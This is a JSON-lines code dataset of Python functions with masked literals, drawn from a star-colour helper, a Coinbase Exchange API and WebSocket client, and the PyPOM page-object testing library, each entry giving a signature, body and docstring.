{"signature": "def color(teffs):", "body": "colors = []<EOL>for t in teffs:<EOL><INDENT>if t >= <NUM_LIT>:<EOL><INDENT>colors.append('<STR_LIT>')  <EOL><DEDENT>elif t >= <NUM_LIT>:<EOL><INDENT>colors.append('<STR_LIT>')  <EOL><DEDENT>elif t >= <NUM_LIT>:<EOL><INDENT>colors.append('<STR_LIT>')  <EOL><DEDENT>elif t >= <NUM_LIT>:<EOL><INDENT>colors.append('<STR_LIT>')  <EOL><DEDENT>else:<EOL><INDENT>colors.append('<STR_LIT>')  <EOL><DEDENT><DEDENT>return colors<EOL>", "docstring": "Conventional color descriptions of stars.\nSource: https://en.wikipedia.org/wiki/Stellar_classification", "id": "f11264:m5"}
{"signature": "def table(cluster):", "body": "teffs = teff(cluster)<EOL>lums = luminosity(cluster)<EOL>arr = cluster.to_array()<EOL>i = <NUM_LIT:0><EOL>for row in arr:<EOL><INDENT>row['<STR_LIT>'][<NUM_LIT:0>] = np.array([lums[i]], dtype='<STR_LIT:f>')<EOL>row['<STR_LIT>'][<NUM_LIT:0>] = np.array([teffs[i]], dtype='<STR_LIT:f>')<EOL>i += <NUM_LIT:1><EOL><DEDENT>arr = round_arr_teff_luminosity(arr)<EOL>return arr<EOL>", "docstring": "Create a numpy.ndarray with all observed fields and\ncomputed teff and luminosity values.", "id": "f11264:m6"}
{"signature": "def round_arr_teff_luminosity(arr):", "body": "arr['<STR_LIT>'] = np.around(arr['<STR_LIT>'], -<NUM_LIT:1>)<EOL>arr['<STR_LIT>'] = np.around(arr['<STR_LIT>'], <NUM_LIT:3>)<EOL>return arr<EOL>", "docstring": "Return the numpy array with rounded teff and luminosity columns.", "id": "f11264:m7"}
{"signature": "def _real_time_thread(self):", "body": "while self.ws_client.connected():<EOL><INDENT>if self.die:<EOL><INDENT>break<EOL><DEDENT>if self.pause:<EOL><INDENT>sleep(<NUM_LIT:5>)<EOL>continue<EOL><DEDENT>message = self.ws_client.receive()<EOL>if message is None:<EOL><INDENT>break<EOL><DEDENT>message_type = message['<STR_LIT:type>']<EOL>if message_type  == '<STR_LIT:error>':<EOL><INDENT>continue<EOL><DEDENT>if message['<STR_LIT>'] <= self.sequence:<EOL><INDENT>continue<EOL><DEDENT>if message_type == '<STR_LIT>':<EOL><INDENT>self._handle_open(message)<EOL><DEDENT>elif message_type == '<STR_LIT>':<EOL><INDENT>self._handle_match(message)<EOL><DEDENT>elif message_type == '<STR_LIT>':<EOL><INDENT>self._handle_done(message)<EOL><DEDENT>elif message_type == '<STR_LIT>':<EOL><INDENT>self._handle_change(message)<EOL><DEDENT>else:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>self.ws_client.disconnect()<EOL>", "docstring": "Handles real-time updates to the order book.", "id": "f11266:c0:m7"}
{"signature": "def end(self):", "body": "self.die = True<EOL>", "docstring": "Makes sure the real-time thread dies and the WebSocket disconnects.", "id": "f11266:c0:m11"}
{"signature": "def pause(self):", "body": "self.pause = True<EOL>", "docstring": "Stops real-time updates until resume is called.", "id": "f11266:c0:m12"}
{"signature": "def resume(self):", "body": "self.pause = False<EOL>", "docstring": "Resumes real-time updates.", "id": "f11266:c0:m13"}
{"signature": "def get_order_book(self):", "body": "return self.book<EOL>", "docstring": "Returns the Real-Time Order Book.\n\n        :returns: the Real-Time Order Book\n        :rtype: dict", "id": "f11266:c0:m14"}
{"signature": "def _create_api_uri(self, *parts):", "body": "return urljoin(self.API_URI, '<STR_LIT:/>'.join(map(quote, parts)))<EOL>", "docstring": "Creates fully qualified endpoint URIs.\n\n        :param parts: the string parts that form the request URI", "id": "f11267:c1:m1"}
{"signature": "def _format_iso_time(self, time):", "body": "if isinstance(time, str):<EOL><INDENT>return time<EOL><DEDENT>elif isinstance(time, datetime):<EOL><INDENT>return time.strftime('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Makes sure we have proper ISO 8601 time.\n\n        :param time: either already ISO 8601 a string or datetime.datetime\n        :returns: ISO 8601 time\n        :rtype: str", "id": "f11267:c1:m2"}
{"signature": "def _handle_response(self, response):", "body": "if not str(response.status_code).startswith('<STR_LIT:2>'):<EOL><INDENT>raise get_api_error(response)<EOL><DEDENT>return response<EOL>", "docstring": "Returns the given response or raises an APIError for non-2xx responses.\n\n        :param requests.Response response: HTTP response\n        :returns: requested data\n        :rtype: requests.Response\n        :raises APIError: for non-2xx responses", "id": "f11267:c1:m3"}
{"signature": "def _request(self, method, *relative_path_parts, **kwargs):", "body": "raise NotImplementedError<EOL>", "docstring": "Abstract method - must be overriden.", "id": "f11267:c1:m4"}
{"signature": "def _get(self, *args, **kwargs):", "body": "return self._request('<STR_LIT>', *args, **kwargs)<EOL>", "docstring": "Performs HTTP GET requests.\n\n        :param args: arguments\n        :param kwargs: argument keywords\n        :returns: requested data\n        :raises APIError: for non-2xx responses", "id": "f11267:c1:m5"}
{"signature": "def _post(self, *args, **kwargs):", "body": "return self._request('<STR_LIT>', *args, **kwargs)<EOL>", "docstring": "Performs HTTP POST requests.\n\n        :param args: arguments\n        :param kwargs: argument keywords\n        :returns: requested data\n        :raises APIError: for non-2xx responses", "id": "f11267:c1:m6"}
{"signature": "def _delete(self, *args, **kwargs):", "body": "return self._request('<STR_LIT>', *args, **kwargs)<EOL>", "docstring": "Performs HTTP POST requests.\n\n        :param args: arguments\n        :param kwargs: argument keywords\n        :returns: requested data\n        :raises APIError: for non-2xx responses", "id": "f11267:c1:m7"}
{"signature": "def __next__(self):", "body": "next = self.endpoint()<EOL>if next is not None:<EOL><INDENT>return next<EOL><DEDENT>raise StopIteration<EOL>", "docstring": "Iterator function for Python 3.\n\n        :returns: the next message in the sequence\n        :raises StopIteration: if there are no more messages", "id": "f11267:c2:m2"}
{"signature": "def _check_next(self):", "body": "if self.is_initial:<EOL><INDENT>return True<EOL><DEDENT>if self.before:<EOL><INDENT>if self.before_cursor:<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if self.after_cursor:<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>", "docstring": "Checks if a next message is possible.\n\n        :returns: True if a next message is possible, otherwise False\n        :rtype: bool", "id": "f11267:c2:m4"}
{"signature": "def is_before(self):", "body": "return self.before<EOL>", "docstring": "Returns True if the direction is set to before.\n\n        :returns: True if the direction is set to before, otherwise False\n        :rtype: bool", "id": "f11267:c2:m5"}
{"signature": "def is_after(self):", "body": "return not self.before<EOL>", "docstring": "Returns True if the direction is set to after.\n\n        :returns: True if the direction is set to after, otherwise False\n        :rtype: bool", "id": "f11267:c2:m6"}
{"signature": "def set_before(self):", "body": "self.before = True<EOL>", "docstring": "Sets the direction to before.", "id": "f11267:c2:m7"}
{"signature": "def set_after(self):", "body": "self.before = False<EOL>", "docstring": "Sets the direction to after.", "id": "f11267:c2:m8"}
{"signature": "def endpoint(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Abstract method - must be overriden. Performs the endpoint operation", "id": "f11267:c2:m9"}
{"signature": "def get_before_cursor(self):", "body": "return self.before_cursor<EOL>", "docstring": "Acquires the before cursor.\n\n        :returns: the before cursor", "id": "f11267:c2:m10"}
{"signature": "def get_after_cursor(self):", "body": "return self.after_cursor<EOL>", "docstring": "Acquires the after cursor.\n\n        :returns: the after cursor", "id": "f11267:c2:m11"}
{"signature": "def _request(self, method, *relative_path_parts, **kwargs):", "body": "uri = self._create_api_uri(*relative_path_parts)<EOL>if method == '<STR_LIT>':<EOL><INDENT>response = get(uri, auth=self.auth, params=kwargs.get('<STR_LIT>', None))<EOL><DEDENT>elif method == '<STR_LIT>':<EOL><INDENT>response = post(uri, auth=self.auth, json=kwargs.get('<STR_LIT:data>', None))<EOL><DEDENT>else:<EOL><INDENT>response = delete(uri, auth=self.auth, json=kwargs.get('<STR_LIT:data>', None))<EOL><DEDENT>return self._handle_response(response).json()<EOL>", "docstring": "Sends an HTTP request to the REST API and receives the requested data.\n\n        :param str method: HTTP method name\n        :param relative_path_parts: the relative paths for the request URI\n        :param kwargs: argument keywords\n        :returns: requested data\n        :raises APIError: for non-2xx responses", "id": "f11268:c1:m1"}
{"signature": "def list_accounts(self):", "body": "return self._get('<STR_LIT>')<EOL>", "docstring": "`<https://docs.exchange.coinbase.com/#selecting-a-timestamp>`_", "id": "f11268:c1:m2"}
{"signature": "def get_account(self, account_id):", "body": "return self._get('<STR_LIT>', account_id)<EOL>", "docstring": "`<https://docs.exchange.coinbase.com/#get-an-account>`_", "id": "f11268:c1:m3"}
{"signature": "def get_account_history(self, account_id):", "body": "return self._get('<STR_LIT>', account_id, '<STR_LIT>')<EOL>", "docstring": "`<https://docs.exchange.coinbase.com/#get-account-history>`_", "id": "f11268:c1:m4"}
{"signature": "def get_holds(self, account_id):", "body": "return self._get('<STR_LIT>', account_id, '<STR_LIT>')<EOL>", "docstring": "`<https://docs.exchange.coinbase.com/#get-holds>`_", "id": "f11268:c1:m5"}
{"signature": "def _place_order(self,<EOL>side,<EOL>product_id='<STR_LIT>',<EOL>client_oid=None,<EOL>type=None,<EOL>stp=None,<EOL>price=None,<EOL>size=None,<EOL>funds=None,<EOL>time_in_force=None,<EOL>cancel_after=None,<EOL>post_only=None):", "body": "data = {<EOL>'<STR_LIT>':side,<EOL>'<STR_LIT>':product_id,<EOL>'<STR_LIT>':client_oid,<EOL>'<STR_LIT:type>':type,<EOL>'<STR_LIT>':stp,<EOL>'<STR_LIT>':price,<EOL>'<STR_LIT:size>':size,<EOL>'<STR_LIT>':funds,<EOL>'<STR_LIT>':time_in_force,<EOL>'<STR_LIT>':cancel_after,<EOL>'<STR_LIT>':post_only<EOL>}<EOL>return self._post('<STR_LIT>', data=data)<EOL>", "docstring": "`<https://docs.exchange.coinbase.com/#orders>`_", "id": "f11268:c1:m6"}
{"signature": "def place_limit_order(self,<EOL>side,<EOL>price,<EOL>size,<EOL>product_id='<STR_LIT>',<EOL>client_oid=None,<EOL>stp=None,<EOL>time_in_force=None,<EOL>cancel_after=None,<EOL>post_only=None):", "body": "return self._place_order(side,<EOL>product_id=product_id,<EOL>client_oid=client_oid,<EOL>type='<STR_LIT>',<EOL>stp=stp,<EOL>price=price,<EOL>size=size,<EOL>time_in_force=time_in_force,<EOL>cancel_after=cancel_after,<EOL>post_only=post_only)<EOL>", "docstring": "`<https://docs.exchange.coinbase.com/#orders>`_", "id": "f11268:c1:m7"}
{"signature": "def place_market_order(self,<EOL>side,<EOL>product_id='<STR_LIT>',<EOL>size=None,<EOL>funds=None,<EOL>client_oid=None,<EOL>stp=None):", "body": "return self._place_order(type='<STR_LIT>',<EOL>side=size,<EOL>product_id=product_id,<EOL>size=size,<EOL>funds=funds,<EOL>client_oid=client_oid,<EOL>stp=stp)<EOL>", "docstring": "`<https://docs.exchange.coinbase.com/#orders>`_", "id": "f11268:c1:m8"}
{"signature": "def cancel_order(self, order_id):", "body": "return self._delete('<STR_LIT>', order_id)<EOL>", "docstring": "`<https://docs.exchange.coinbase.com/#cancel-an-order>`_", "id": "f11268:c1:m9"}
{"signature": "def cancel_all(self, product_id=None):", "body": "return self._delete('<STR_LIT>', data={'<STR_LIT>':product_id})<EOL>", "docstring": "`<https://docs.exchange.coinbase.com/#cancel-all>`_", "id": "f11268:c1:m10"}
{"signature": "def list_orders(self, status=None):", "body": "return self._get('<STR_LIT>', params={'<STR_LIT:status>':status})<EOL>", "docstring": "`<https://docs.exchange.coinbase.com/#list-orders>`_", "id": "f11268:c1:m11"}
{"signature": "def get_order(self, order_id):", "body": "return self._get('<STR_LIT>', order_id)<EOL>", "docstring": "`<https://docs.exchange.coinbase.com/#get-an-order>`_", "id": "f11268:c1:m12"}
{"signature": "def list_fills(self):", "body": "return self._get('<STR_LIT>')<EOL>", "docstring": "`<https://docs.exchange.coinbase.com/#list-fills>`_", "id": "f11268:c1:m13"}
{"signature": "def _deposit_withdraw(self, type, amount, coinbase_account_id):", "body": "data = {<EOL>'<STR_LIT:type>':type,<EOL>'<STR_LIT>':amount,<EOL>'<STR_LIT>':coinbase_account_id<EOL>}<EOL>return self._post('<STR_LIT>', data=data)<EOL>", "docstring": "`<https://docs.exchange.coinbase.com/#depositwithdraw>`_", "id": "f11268:c1:m14"}
{"signature": "def deposit(self, amount, coinbase_account_id):", "body": "return self._deposit_withdraw('<STR_LIT>', amount, coinbase_account_id)<EOL>", "docstring": "`<https://docs.exchange.coinbase.com/#depositwithdraw>`_", "id": "f11268:c1:m15"}
{"signature": "def withdraw(self, amount, coinbase_account_id):", "body": "return self._deposit_withdraw('<STR_LIT>', amount, coinbase_account_id)<EOL>", "docstring": "`<https://docs.exchange.coinbase.com/#depositwithdraw>`_", "id": "f11268:c1:m16"}
{"signature": "def _new_report(self,<EOL>type,<EOL>start_date,<EOL>end_date,<EOL>product_id='<STR_LIT>',<EOL>account_id=None,<EOL>format=None,<EOL>email=None):", "body": "data = {<EOL>'<STR_LIT:type>':type,<EOL>'<STR_LIT>':self._format_iso_time(start_date),<EOL>'<STR_LIT>':self._format_iso_time(end_date),<EOL>'<STR_LIT>':product_id,<EOL>'<STR_LIT>':account_id,<EOL>'<STR_LIT>':format,<EOL>'<STR_LIT:email>':email<EOL>}<EOL>return self._post('<STR_LIT>', data=data)<EOL>", "docstring": "`<https://docs.exchange.coinbase.com/#create-a-new-report>`_", "id": "f11268:c1:m17"}
{"signature": "def new_fills_report(self,<EOL>start_date,<EOL>end_date,<EOL>account_id=None,<EOL>product_id='<STR_LIT>',<EOL>format=None,<EOL>email=None):", "body": "return self._new_report(start_date,<EOL>'<STR_LIT>',<EOL>end_date,<EOL>account_id,<EOL>product_id,<EOL>format,<EOL>email)<EOL>", "docstring": "`<https://docs.exchange.coinbase.com/#create-a-new-report>`_", "id": "f11268:c1:m18"}
{"signature": "def new_accounts_report(self,<EOL>start_date,<EOL>end_date,<EOL>account_id,<EOL>product_id='<STR_LIT>',<EOL>format=None,<EOL>email=None):", "body": "return self._new_report(start_date,<EOL>'<STR_LIT>',<EOL>end_date,<EOL>product_id,<EOL>account_id,<EOL>format,<EOL>email)<EOL>", "docstring": "`<https://docs.exchange.coinbase.com/#create-a-new-report>`_", "id": "f11268:c1:m19"}
{"signature": "def get_report_status(self, report_id):", "body": "return self._get('<STR_LIT>', report_id)<EOL>", "docstring": "`<https://docs.exchange.coinbase.com/#get-report-status>`_", "id": "f11268:c1:m20"}
{"signature": "def _request(self, method, *relative_path_parts, **kwargs):", "body": "uri = self._create_api_uri(*relative_path_parts)<EOL>if method == '<STR_LIT>':<EOL><INDENT>response = get(uri, auth=self.auth, params=kwargs.get('<STR_LIT>', None))<EOL><DEDENT>elif method == '<STR_LIT>':<EOL><INDENT>response = post(uri, auth=self.auth, json=kwargs.get('<STR_LIT:data>', None))<EOL><DEDENT>else:<EOL><INDENT>response = delete(uri, auth=self.auth, json=kwargs.get('<STR_LIT:data>', None))<EOL><DEDENT>self.is_initial = False<EOL>self.before_cursor = response.headers.get('<STR_LIT>', None)<EOL>self.after_cursor = response.headers.get('<STR_LIT>', None)<EOL>return self._handle_response(response).json()<EOL>", "docstring": "Sends an HTTP request to the REST API and receives the requested data.\n        Additionally sets up pagination cursors.\n\n        :param str method: HTTP method name\n        :param relative_path_parts: the relative paths for the request URI\n        :param kwargs: argument keywords\n        :returns: requested data\n        :raises APIError: for non-2xx responses", "id": "f11268:c2:m1"}
{"signature": "def _request(self, method, *relative_path_parts, **kwargs):", "body": "uri = self._create_api_uri(*relative_path_parts)<EOL>response = get(uri, params=kwargs.get('<STR_LIT>', None))<EOL>return self._handle_response(response).json()<EOL>", "docstring": "Sends an HTTP request to the REST API and receives the requested data.\n\n        :param str method: HTTP method name\n        :param relative_path_parts: the relative paths for the request URI\n        :param kwargs: argument keywords\n        :returns: requested data\n        :raises APIError: for non-2xx responses", "id": "f11269:c0:m0"}
{"signature": "def get_products(self):", "body": "return self._get('<STR_LIT>')<EOL>", "docstring": "`<https://docs.exchange.coinbase.com/#get-products>`_", "id": "f11269:c0:m1"}
{"signature": "def get_product_order_book(self, level=None, product_id='<STR_LIT>'):", "body": "return self._get('<STR_LIT>', product_id, '<STR_LIT>', params={'<STR_LIT>':level})<EOL>", "docstring": "`<https://docs.exchange.coinbase.com/#get-product-order-book>`_", "id": "f11269:c0:m2"}
{"signature": "def get_product_ticker(self, product_id='<STR_LIT>'):", "body": "return self._get('<STR_LIT>', product_id, '<STR_LIT>')<EOL>", "docstring": "`<https://docs.exchange.coinbase.com/#get-product-ticker>`_", "id": "f11269:c0:m3"}
{"signature": "def get_trades(self, product_id='<STR_LIT>'):", "body": "return self._get('<STR_LIT>', product_id, '<STR_LIT>')<EOL>", "docstring": "`<https://docs.exchange.coinbase.com/#get-trades>`_", "id": "f11269:c0:m4"}
{"signature": "def get_historic_trades(self, start, end, granularity, product_id='<STR_LIT>'):", "body": "params = {<EOL>'<STR_LIT:start>':self._format_iso_time(start),<EOL>'<STR_LIT:end>':self._format_iso_time(end),<EOL>'<STR_LIT>':granularity<EOL>}<EOL>return self._get('<STR_LIT>', product_id, '<STR_LIT>', params=params)<EOL>", "docstring": "`<https://docs.exchange.coinbase.com/#get-historic-rates>`_\n\n        :param start: either datetime.datetime or str in ISO 8601\n        :param end: either datetime.datetime or str in ISO 8601\n        :pram int granularity: desired timeslice in seconds\n        :returns: desired data", "id": "f11269:c0:m5"}
{"signature": "def get_stats(self, product_id='<STR_LIT>'):", "body": "return self._get('<STR_LIT>', product_id, '<STR_LIT>')<EOL>", "docstring": "`<https://docs.exchange.coinbase.com/#get-24hr-stats>`_", "id": "f11269:c0:m6"}
{"signature": "def get_currencies(self):", "body": "return self._get('<STR_LIT>')<EOL>", "docstring": "`<https://docs.exchange.coinbase.com/#get-currencies>`_", "id": "f11269:c0:m7"}
{"signature": "def get_time(self):", "body": "return self._get('<STR_LIT:time>')<EOL>", "docstring": "`<https://docs.exchange.coinbase.com/#time>`_", "id": "f11269:c0:m8"}
{"signature": "def _request(self, method, *relative_path_parts, **kwargs):", "body": "uri = self._create_api_uri(*relative_path_parts)<EOL>response = get(uri, params=self._get_params(**kwargs))<EOL>self.is_initial = False<EOL>self.before_cursor = response.headers.get('<STR_LIT>', None)<EOL>self.after_cursor = response.headers.get('<STR_LIT>', None)<EOL>return self._handle_response(response).json()<EOL>", "docstring": "Sends an HTTP request to the REST API and receives the requested data.\n        Additionally sets up pagination cursors.\n\n        :param str method: HTTP method name\n        :param relative_path_parts: the relative paths for the request URI\n        :param kwargs: argument keywords\n        :returns: requested data\n        :raises APIError: for non-2xx responses", "id": "f11269:c1:m0"}
{"signature": "def __next__(self):", "body": "next = self.receive()<EOL>if next:<EOL><INDENT>return next<EOL><DEDENT>raise StopIteration<EOL>", "docstring": "Iterator function for Python 3.\n\n        :returns: the next message in the sequence\n        :rtype: dict\n        :raises StopIteration: if the WebSocket is not connected", "id": "f11270:c0:m4"}
{"signature": "def _format_message(self, message):", "body": "return loads(message)<EOL>", "docstring": "Makes sure messages are Pythonic.\n\n        :param str message: raw message\n        :returns: Pythonic message\n        :rtype: dict", "id": "f11270:c0:m5"}
{"signature": "def _keep_alive_thread(self):", "body": "while True:<EOL><INDENT>with self._lock:<EOL><INDENT>if self.connected():<EOL><INDENT>self._ws.ping()<EOL><DEDENT>else:<EOL><INDENT>self.disconnect()<EOL>self._thread = None<EOL>return<EOL><DEDENT><DEDENT>sleep(<NUM_LIT:30>)<EOL><DEDENT>", "docstring": "Used exclusively as a thread which keeps the WebSocket alive.", "id": "f11270:c0:m6"}
{"signature": "def connect(self):", "body": "if not self.connected():<EOL><INDENT>self._ws = create_connection(self.WS_URI)<EOL>message = {<EOL>'<STR_LIT:type>':self.WS_TYPE,<EOL>'<STR_LIT>':self.WS_PRODUCT_ID<EOL>}<EOL>self._ws.send(dumps(message))<EOL>with self._lock:<EOL><INDENT>if not self._thread:<EOL><INDENT>thread = Thread(target=self._keep_alive_thread, args=[])<EOL>thread.start()<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Connects and subscribes to the WebSocket Feed.", "id": "f11270:c0:m7"}
{"signature": "def disconnect(self):", "body": "if self.connected():<EOL><INDENT>self._ws.close()<EOL>self._ws = None<EOL><DEDENT>", "docstring": "Disconnects from the WebSocket Feed.", "id": "f11270:c0:m8"}
{"signature": "def receive(self):", "body": "if self.connected():<EOL><INDENT>return self._format_message(self._ws.recv())<EOL><DEDENT>return None<EOL>", "docstring": "Receive the next message in the sequence.\n\n        :returns: the next message in the sequence, None if not connected\n        :rtype: dict", "id": "f11270:c0:m9"}
{"signature": "def connected(self):", "body": "if self._ws:<EOL><INDENT>return self._ws.connected<EOL><DEDENT>return False<EOL>", "docstring": "Checks if we are connected to the WebSocket Feed.\n\n        :returns: True if connected, otherwise False\n        :rtype: bool", "id": "f11270:c0:m10"}
{"signature": "def get_api_error(response):", "body": "error_class = _status_code_to_class.get(response.status_code, APIError)<EOL>return error_class(response)<EOL>", "docstring": "Acquires the correct error for a given response.\n\n    :param requests.Response response: HTTP error response\n    :returns: the appropriate error for a given response\n    :rtype: APIError", "id": "f11271:m0"}
{"signature": "@property<EOL><INDENT>def seed_url(self):<DEDENT>", "body": "url = self.base_url<EOL>if self.URL_TEMPLATE is not None:<EOL><INDENT>url = urlparse.urljoin(<EOL>self.base_url, self.URL_TEMPLATE.format(**self.url_kwargs)<EOL>)<EOL><DEDENT>if not url:<EOL><INDENT>return None<EOL><DEDENT>url_parts = list(urlparse.urlparse(url))<EOL>query = urlparse.parse_qsl(url_parts[<NUM_LIT:4>])<EOL>for k, v in self.url_kwargs.items():<EOL><INDENT>if v is None:<EOL><INDENT>continue<EOL><DEDENT>if \"<STR_LIT>\".format(k) not in str(self.URL_TEMPLATE):<EOL><INDENT>for i in iterable(v):<EOL><INDENT>query.append((k, i))<EOL><DEDENT><DEDENT><DEDENT>url_parts[<NUM_LIT:4>] = urlencode(query)<EOL>return urlparse.urlunparse(url_parts)<EOL>", "docstring": "A URL that can be used to open the page.\n\n        The URL is formatted from :py:attr:`URL_TEMPLATE`, which is then\n        appended to :py:attr:`base_url` unless the template results in an\n        absolute URL.\n\n        :return: URL that can be used to open the page.\n        :rtype: str", "id": "f11285:c0:m1"}
{"signature": "def open(self):", "body": "if self.seed_url:<EOL><INDENT>self.driver_adapter.open(self.seed_url)<EOL>self.wait_for_page_to_load()<EOL>return self<EOL><DEDENT>raise UsageError(\"<STR_LIT>\")<EOL>", "docstring": "Open the page.\n\n        Navigates to :py:attr:`seed_url` and calls :py:func:`wait_for_page_to_load`.\n\n        :return: The current page object.\n        :rtype: :py:class:`Page`\n        :raises: UsageError", "id": "f11285:c0:m2"}
{"signature": "def wait_for_page_to_load(self):", "body": "self.wait.until(lambda _: self.loaded)<EOL>self.pm.hook.pypom_after_wait_for_page_to_load(page=self)<EOL>return self<EOL>", "docstring": "Wait for the page to load.", "id": "f11285:c0:m3"}
{"signature": "@property<EOL><INDENT>def loaded(self):<DEDENT>", "body": "return True<EOL>", "docstring": "Loaded state of the page.\n\n        By default the driver will try to wait for any page loads to be\n        complete, however it's not uncommon for it to return early. To address\n        this you can override :py:attr:`loaded` to return ``True`` when the\n        page has finished loading.\n\n        :return: ``True`` if page is loaded, else ``False``.\n        :rtype: bool\n\n        Usage (Selenium)::\n\n          from pypom import Page\n          from selenium.webdriver.common.by import By\n\n          class Mozilla(Page):\n\n              @property\n              def loaded(self):\n                  body = self.find_element(By.TAG_NAME, 'body')\n                  return 'loaded' in body.get_attribute('class')\n\n        Usage (Splinter)::\n\n          from pypom import Page\n\n          class Mozilla(Page):\n\n              def loaded(self):\n                  body = self.find_element('tag', 'body')\n                  return 'loaded' in body['class']\n\n        Examples::\n\n            # wait for the seed_url value to be in the current URL\n            self.seed_url in self.selenium.current_url", "id": "f11285:c0:m4"}
{"signature": "@property<EOL><INDENT>def selenium(self):<DEDENT>", "body": "warn(\"<STR_LIT>\", DeprecationWarning, stacklevel=<NUM_LIT:2>)<EOL>return self.driver<EOL>", "docstring": "Backwards compatibility attribute", "id": "f11286:c0:m1"}
{"signature": "def find_elements(self, strategy, locator):", "body": "return self.driver_adapter.find_elements(strategy, locator)<EOL>", "docstring": "Finds elements on the page.\n\n        :param strategy: Location strategy to use. See :py:class:`~selenium.webdriver.common.by.By` or :py:attr:`~pypom.splinter_driver.ALLOWED_STRATEGIES`.\n        :param locator: Location of target elements.\n        :type strategy: str\n        :type locator: str\n        :return: List of :py:class:`~selenium.webdriver.remote.webelement.WebElement` or :py:class:`~splinter.element_list.ElementList`\n        :rtype: list", "id": "f11286:c0:m3"}
{"signature": "def is_element_present(self, strategy, locator):", "body": "return self.driver_adapter.is_element_present(strategy, locator)<EOL>", "docstring": "Checks whether an element is present.\n\n        :param strategy: Location strategy to use. See :py:class:`~selenium.webdriver.common.by.By` or :py:attr:`~pypom.splinter_driver.ALLOWED_STRATEGIES`.\n        :param locator: Location of target element.\n        :type strategy: str\n        :type locator: str\n        :return: ``True`` if element is present, else ``False``.\n        :rtype: bool", "id": "f11286:c0:m4"}
{"signature": "def is_element_displayed(self, strategy, locator):", "body": "return self.driver_adapter.is_element_displayed(strategy, locator)<EOL>", "docstring": "Checks whether an element is displayed.\n\n        :param strategy: Location strategy to use. See :py:class:`~selenium.webdriver.common.by.By` or :py:attr:`~pypom.splinter_driver.ALLOWED_STRATEGIES`.\n        :param locator: Location of target element.\n        :type strategy: str\n        :type locator: str\n        :return: ``True`` if element is displayed, else ``False``.\n        :rtype: bool", "id": "f11286:c0:m5"}
{"signature": "@property<EOL><INDENT>def root(self):<DEDENT>", "body": "if self._root is None and self._root_locator is not None:<EOL><INDENT>return self.page.find_element(*self._root_locator)<EOL><DEDENT>return self._root<EOL>", "docstring": "Root element for the page region.\n\n        Page regions should define a root element either by passing this on\n        instantiation or by defining a :py:attr:`_root_locator` attribute. To\n        reduce the chances of hitting :py:class:`~selenium.common.exceptions.StaleElementReferenceException`\n        or similar you should use :py:attr:`_root_locator`, as this is looked up every\n        time the :py:attr:`root` property is accessed.", "id": "f11287:c0:m1"}
{"signature": "def wait_for_region_to_load(self):", "body": "self.wait.until(lambda _: self.loaded)<EOL>self.pm.hook.pypom_after_wait_for_region_to_load(region=self)<EOL>return self<EOL>", "docstring": "Wait for the page region to load.", "id": "f11287:c0:m2"}
{"signature": "def find_element(self, strategy, locator):", "body": "return self.driver_adapter.find_element(strategy, locator, root=self.root)<EOL>", "docstring": "Finds an element on the page.\n\n        :param strategy: Location strategy to use. See :py:class:`~selenium.webdriver.common.by.By` or :py:attr:`~pypom.splinter_driver.ALLOWED_STRATEGIES`.\n        :param locator: Location of target element.\n        :type strategy: str\n        :type locator: str\n        :return: An element.\n        :rytpe: :py:class:`~selenium.webdriver.remote.webelement.WebElement` or :py:class:`~splinter.driver.webdriver.WebDriverElement`", "id": "f11287:c0:m3"}
{"signature": "def find_elements(self, strategy, locator):", "body": "return self.driver_adapter.find_elements(strategy, locator, root=self.root)<EOL>", "docstring": "Finds elements on the page.\n\n        :param strategy: Location strategy to use. See :py:class:`~selenium.webdriver.common.by.By` or :py:attr:`~pypom.splinter_driver.ALLOWED_STRATEGIES`.\n        :param locator: Location of target elements.\n        :type strategy: str\n        :type locator: str\n        :return: List of :py:class:`~selenium.webdriver.remote.webelement.WebElement` or :py:class:`~splinter.element_list.ElementList`\n        :rtype: list", "id": "f11287:c0:m4"}
{"signature": "def is_element_present(self, strategy, locator):", "body": "return self.driver_adapter.is_element_present(strategy, locator, root=self.root)<EOL>", "docstring": "Checks whether an element is present.\n\n        :param strategy: Location strategy to use. See :py:class:`~selenium.webdriver.common.by.By` or :py:attr:`~pypom.splinter_driver.ALLOWED_STRATEGIES`.\n        :param locator: Location of target element.\n        :type strategy: str\n        :type locator: str\n        :return: ``True`` if element is present, else ``False``.\n        :rtype: bool", "id": "f11287:c0:m5"}
{"signature": "def is_element_displayed(self, strategy, locator):", "body": "return self.driver_adapter.is_element_displayed(<EOL>strategy, locator, root=self.root<EOL>)<EOL>", "docstring": "Checks whether an element is displayed.\n\n        :param strategy: Location strategy to use. See :py:class:`~selenium.webdriver.common.by.By` or :py:attr:`~pypom.splinter_driver.ALLOWED_STRATEGIES`.\n        :param locator: Location of target element.\n        :type strategy: str\n        :type locator: str\n        :return: ``True`` if element is displayed, else ``False``.\n        :rtype: bool", "id": "f11287:c0:m6"}
{"signature": "@property<EOL><INDENT>def loaded(self):<DEDENT>", "body": "return True<EOL>", "docstring": "Loaded state of the page region.\n\n        You may need to initialise your page region before it's ready for you\n        to interact with it. If this is the case, you can override\n        :py:attr:`loaded` to return ``True`` when the region has finished\n        loading.\n\n        :return: ``True`` if page is loaded, else ``False``.\n        :rtype: bool\n\n        Usage (Selenium)::\n\n          from pypom import Page, Region\n          from selenium.webdriver.common.by import By\n\n          class Mozilla(Page):\n              URL_TEMPLATE = 'https://www.mozilla.org/'\n\n              @property\n              def newsletter(self):\n                  return Newsletter(self)\n\n              class Newsletter(Region):\n                  _root_locator = (By.ID, 'newsletter-form')\n\n                  @property\n                  def loaded(self):\n                      return 'loaded' in self.root.get_attribute('class')\n\n        Usage (Splinter)::\n\n          from pypom import Page, Region\n\n          class Mozilla(Page):\n              URL_TEMPLATE = 'https://www.mozilla.org/'\n\n              @property\n              def newsletter(self):\n                  return Newsletter(self)\n\n              class Newsletter(Region):\n                  _root_locator = ('id', 'newsletter-form')\n\n                  @property\n                  def loaded(self):\n                      return 'loaded' in self.root['class']", "id": "f11287:c0:m7"}
{"signature": "@hookspec<EOL>def pypom_after_wait_for_page_to_load(page):", "body": "", "docstring": "Called after waiting for the page to load", "id": "f11288:m0"}
